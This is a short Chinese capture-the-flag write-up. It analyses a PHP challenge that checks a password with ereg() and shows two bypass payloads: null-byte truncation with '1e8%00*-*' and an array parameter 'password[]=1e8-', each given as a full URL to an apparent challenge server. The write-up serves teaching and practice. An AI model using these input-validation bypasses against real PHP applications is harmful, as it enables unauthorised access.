ereg正则%00截断

0x01

<?php
$flag = "xxx";
if (isset ($_GET[‘password‘]))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
{
echo ‘You password must be alphanumeric‘;
}
else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
{
if (strpos ($_GET[‘password‘], ‘-‘) !== FALSE) //strpos — 查找字符串首次出现的位置
{
die(‘Flag: ‘ . $flag);
}
else
{
echo(‘- have not been found‘);
}
}
else
{
echo ‘Invalid password‘;
}
}
?>

0x02 代码分析

ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999

长度和数值矛盾,采用1e8,1x10的8次方,绕过

方法1:%00截断

ereg正则%00截断

*-* 双星闭合
http://123.206.87.240:9009/5.php?password=1e8%00*-*

方法2:数组

数组过滤掉greg判断

http://123.206.87.240:9009/5.php?password[]=1e8-

ereg正则%00截断

参考链接:
https://www.cnblogs.com/gaonuoqi/p/11408229.html

相关推荐